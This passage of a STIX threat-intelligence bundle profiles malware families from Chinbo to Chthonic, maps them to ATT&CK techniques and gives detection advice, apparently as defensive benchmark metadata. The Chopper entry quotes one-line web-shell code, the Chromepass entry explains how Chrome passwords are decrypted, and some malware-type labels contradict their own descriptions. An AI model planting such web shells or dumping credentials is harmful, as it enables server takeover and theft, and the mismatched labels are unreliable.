corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Chinbo executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Chinbo frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Chinbo",
        "Downloader.Chinbo",
        "Win32/Chinbo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chinbo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chinbo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74f482e9-160d-5f3c-87dd-d8e78afe765c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42554dd8-d411-5c27-8eeb-36f1c295df0b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinbo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed9551f6-6f17-571e-bac2-73e041ec2f06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42554dd8-d411-5c27-8eeb-36f1c295df0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinbo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a27a0b1d-329a-577f-bda8-b5257cdb55d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42554dd8-d411-5c27-8eeb-36f1c295df0b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chinbo exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chindo",
      "description": "Chindo (cataloged in security vendor threat telemetry under signatures including Worm:Win32/Chindo, Trojan:Win32/Chindo, and Worm:Win32/Chindo.SQ!MTB) is a hybrid Windows worm and backdoor first detected in 2012. Designed to achieve rapid lateral movement across unsegmented local networks, Chindo interrogates local network configuration, scans for accessible administrative and SMB file shares, and copies its executable payload disguised as common document and utility files. Furthermore, Chindo infects connected removable storage drives (USB thumb drives) by generating autorun.inf files and deceptive shortcut LNK files. Once executed on a compromised endpoint, Chindo registers autostart entries in the Windows Registry, connects to attacker-controlled command-and-control servers, and downloads secondary malware payloads including keystroke loggers, credential stealers, and remote access backdoors. (Observed samples in benchmark: 85)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Chindo",
        "Trojan:Win32/Chindo",
        "Win32/Chindo",
        "Worm:Win32/Chindo.SQ!MTB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chindo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chindo"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac017720-5715-5253-ac2d-026d6b67ff5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chindo exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--370f4687-7e38-55dd-8e95-46a9f129040c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chindo exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d0cd138-ae18-5ad5-9cfd-d088e7ec51f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chindo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb290e58-6bf9-592c-989e-d354d96be4c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chindo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2220757d-4030-5708-b626-5e50b2e9faec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12b329d2-8eb3-5595-be52-ededdb630cc2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chindo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chir",
      "description": "Chir (extensively documented as Virus:Win32/Chir.B@mm, W32.Chir, and Runouce) is a historic, highly aggressive mass-mailing worm and polymorphic file infector first identified in 2002. Chir is infamous for combining two destructive propagation vectors: parasitic executable file infection and automated SMTP email mass-mailing. Upon execution on a Windows workstation, Chir drops a hidden copy of itself named runouce.exe into the Windows System32 directory and secures persistence by modifying the Registry Run keys (HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run). The worm actively monitors this registry key in memory, immediately rewriting the autostart value if deleted by administrators. Chir scans all local fixed drives (from C: to Z:) and accessible network shares, searching for executable files (.exe, .scr) to append its polymorphic viral code without changing file size attributes. Simultaneously, it scrapes email addresses from the Windows Address Book, Outlook Express caches, and local HTML files, using an integrated direct-to-MX SMTP engine to blast infected email messages across corporate contacts. (Observed samples in benchmark: 99)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Chir.B@mm",
        "W32.Chir",
        "Runouce",
        "Worm:Win32/Chir",
        "W32.Chir.B@mm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chir",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chir"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a775335f-db44-54f0-8aec-db7e70865319",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81db7b16-3e73-5a9c-87f9-ee969d20f6a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--305f7ed8-78db-5b31-839d-9b06bb1c95fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afda4001-28f7-5d27-9d5b-4abd0469aca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e37d75f8-16f0-51de-8718-35c2d905d1b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ceafdaf-c730-52b2-b8e5-8b6887bc7e90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bc2944c-67b1-51c3-9e64-8c1aba53c9ca",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chir exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e01d2e5-c2f6-5053-82e4-bdd90b20ab12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chisburg",
      "description": "Chisburg (cataloged across security vendors and threat intelligence databases under signatures including Trojan-PSW.Win32.Chisburg, PWS:Win32/Chisburg, and Trojan.Chisburg) is a persistent Windows password-stealing trojan (Trojan-PSW) and infostealer active since 2010. Designed to covertly exfiltrate credentials from compromised endpoints, Chisburg targets local application credential stores across web browsers, FTP clients (such as FileZilla), instant messaging platforms, and email clients. Delivered via spearphishing emails, cracked software packages, and infected removable USB drives, Chisburg establishes persistence through Windows Registry Run keys, extracts cached passwords and authentication tokens, and transmits the stolen credentials to remote attacker C2 servers via encrypted HTTP/SMTP channels. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-PSW.Win32.Chisburg",
        "PWS:Win32/Chisburg",
        "Trojan.Chisburg",
        "Win32/Chisburg",
        "Trojan-PSW:Win32/Chisburg.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chisburg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chisburg"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chistudi",
      "description": "Trojan:Win32/Chistudi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chistudi</b><br>To an end-user, a Chistudi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chistudi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chistudi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chistudi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chistudi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chistudi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chistudi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4867ad1-5784-5fb6-bcb4-02a7c32e67a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chistudi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef2243e4-d056-5257-a6ea-aa2864d17c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chistudi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55441306-c9b6-596f-8e0e-f8a44275993f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chistudi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f6f8f41-1cc9-57ab-ab81-13c3c9da060d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chistudi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9bd7dac-60da-5c7f-b3ba-7419a4e924f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4198131c-260d-5be9-8342-46f256ee8ce2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chistudi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chopper",
      "description": "Chopper (widely tracked across cybersecurity research, CISA advisories, and EDR platforms as China Chopper, Backdoor:Win32/Chopper, and Trojan:ASP/Chopper) is a legendary, ultra-compact webshell and remote administration platform first documented in 2012. Measuring as small as 4 kilobytes (or a single line of text, e.g., eval(request(\"cmd\")) in ASPX or eval($_POST[\"cmd\"]) in PHP), Chopper delivers full server management capabilities when paired with its specialized Windows GUI client (chopper.exe). The Windows client interacts with the server-side payload over standard HTTP POST requests, enabling operators to browse and manipulate the remote filesystem, execute interactive command-line commands, transfer files, dump database contents via embedded SQL query interfaces, and initiate lateral movement across corporate networks. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Chopper",
        "China Chopper",
        "Trojan:ASP/Chopper",
        "Win32/Chopper",
        "China Chopper Web Shell"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chopper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chopper"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-200a"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fce0bc4-05af-5839-9b11-7644e2fb3097",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "target_ref": "attack-pattern--6edf2a5f-9dca-50d0-8c72-059ff58bba2a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chopper exhibits technique T1505.003 (Server Software Component: Web Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3888b922-0382-5a21-83fc-b3b20570645f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chopper exhibits technique T1190 (Exploit Public-Facing Application)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6715860f-5e5a-5c34-ad4b-a592a4954818",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chopper exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c0cd158-d364-59a3-999d-587ecc8c8b2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chopper exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4cd9ec8-0fbe-5b6d-a516-d5aada277d62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1fcea87-624a-552a-8690-f25cbbd95760",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chopper exhibits technique T1027 (Obfuscated Files or Information (Base64 POST Data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bcd4a210-145b-5ec2-8b3f-5c9d97bd8ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chromepass",
      "description": "HackTool:Win32/Chromepass is a highly specific utility categorized as a Credential Dumper. While it can technically be used legitimately to recover forgotten passwords, it is overwhelmingly utilized by threat actors, embedded within larger info-stealer malware, or executed during hands-on-keyboard attacks to systematically extract all saved passwords from the Google Chrome web browser.<br><br><b>Understanding Chromepass (Credential Dumping)</b><br>To an end-user, this tool operates silently; they will not know their passwords have been stolen until their accounts are compromised. For a SOC analyst, the execution of Chromepass is a severe incident indicating that an attacker has gained execution privileges on the endpoint and is actively harvesting credentials (`T1003.001`) to facilitate lateral movement or data theft.<br><br><b>Execution and Extraction Mechanics</b><br>Google Chrome stores saved usernames and passwords in a local SQLite database file (typically located at `%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data`). The passwords within this database are encrypted using the Windows Data Protection API (DPAPI), which ties the encryption key to the currently logged-in Windows user's credentials. Chromepass operates by programmaticly interacting with the DPAPI (`T1555.003`). Because the attacker executes Chromepass within the context of the logged-in user, the tool simply requests Windows to decrypt the database. It then parses the SQLite file and outputs a cleartext list of URLs, usernames, and passwords.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of all web credentials saved in the user's browser, potentially leading to unauthorized access to corporate SSO portals, email, and financial accounts. Host-based IoCs include EDR alerts for 'Suspicious Credential Dumping Activity' or processes attempting to unexpectedly read the `Login Data` SQLite file. Command-line logging (Event ID 4688) may capture the execution of known Chromepass binaries or PowerShell scripts interacting with the `CryptUnprotectData` API. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chromepass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chromepass"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56f2924c-0122-5605-9394-bda9b99423c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd4a210-145b-5ec2-8b3f-5c9d97bd8ce0",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chromepass exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (Targeting Chrome's Login Data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b1eeb83-1b87-523e-8985-91f629c63e6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd4a210-145b-5ec2-8b3f-5c9d97bd8ce0",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chromepass exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Often used in conjunction to bypass DPAPI protections))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--165e27d8-088b-52f4-be32-3ec363696e7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd4a210-145b-5ec2-8b3f-5c9d97bd8ce0",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chromepass exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Execution method))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chthonic",
      "description": "Trojan:Win32/Chthonic is an advanced, highly modular banking trojan and direct evolutionary offshoot of the Zeus (Zbot) codebase discovered by Kaspersky Lab researchers in late 2014. Chthonic represents a hybrid crimeware architecture integrating components from Andromeda and SmokeLoader to deploy encrypted virtual file systems and polymorphic shellcode loaders. The malware specifically targeted over 150 major banking institutions and 20 payment processing gateways across 15 nations, including the United States, United Kingdom, Russia, Japan, Spain, and Italy. Chthonic executes via process hollowing into explorer.exe, msiexec.exe, and svchost.exe, injecting malicious code hooks into Internet Explorer, Mozilla Firefox, and Google Chrome web sessions. Its modular framework features clandestine Virtual Network Computing (hidden VNC) for real-time operator control, remote audio and video capture from connected microphones and webcams, and automated webinjects that manipulate banking DOM elements to bypass two-factor authentication (2FA). Chthonic communications employ AES-256 encrypted C2 channels with dynamic domain generation fallback routines, establishing persistent scheduled tasks and registry Run key autoruns to evade forensic detection. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Chthonic",
        "Trojan.Chthonic",
        "Win32/Chthonic",
        "Zeus Chthonic",
        "Zbot.Chthonic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chthonic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chthonic"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fd8b416-a45e-54f3-94a2-7b3b7a8fb32f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da7c3892-028b-5935-a3cd-b39f4989fef7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
